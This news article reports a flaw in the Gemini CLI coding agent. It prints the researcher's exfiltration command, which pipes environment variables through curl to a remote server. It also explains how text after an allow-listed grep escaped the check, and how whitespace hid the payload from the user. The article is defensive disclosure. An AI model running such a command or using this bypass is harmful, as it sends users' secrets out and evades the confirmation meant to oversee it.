Security Flaw Discovered in Gemini CLI Tool: Users Urged to Update

In a recent security assessment, researchers identified a critical flaw in the Gemini CLI coding tool that allowed malicious commands to execute on user devices without proper checks. The vulnerability, uncovered by a cybersecurity expert, was linked to the misuse of command strings, which, in certain cases, permitted unrestricted execution of potentially harmful commands.

The flaw came to light when the expert demonstrated how a command could be executed without adequate scrutiny. The command in question was structured as: grep install README.md; ; env | curl --silent -X POST --data-binary @- http://remote.server:8083. Notably, the command allowed any subsequent elements after the initial ‘grep’ to function without being assessed against a whitelist, raising significant security concerns. According to the expert, Cox, the command processed would notify the user of completion, further complicating detection efforts.

Moreover, the exploit’s sophistication was amplified by the expert’s techniques, which included inserting whitespace into the command, thus obscuring the malicious portion from the user. This manipulation ensured that users remained unaware of any nefarious actions occurring in the background, leading to a potentially irreversible breach of their systems.

The ramifications extend beyond Gemini CLI, as the researcher also tested similar vulnerabilities in other coding tools, including Anthropic Claude and OpenAI Codex, but found them to have better defense mechanisms due to effective allow-list processes.

Users of Gemini CLI are strongly advised to upgrade to the latest version, 0.1.14, which includes patches for the vulnerability. Furthermore, they are encouraged to run any untrusted codebases in sandboxed environments, a critical setting that is not enabled by default. This precaution is essential to minimize the risk of future exploits.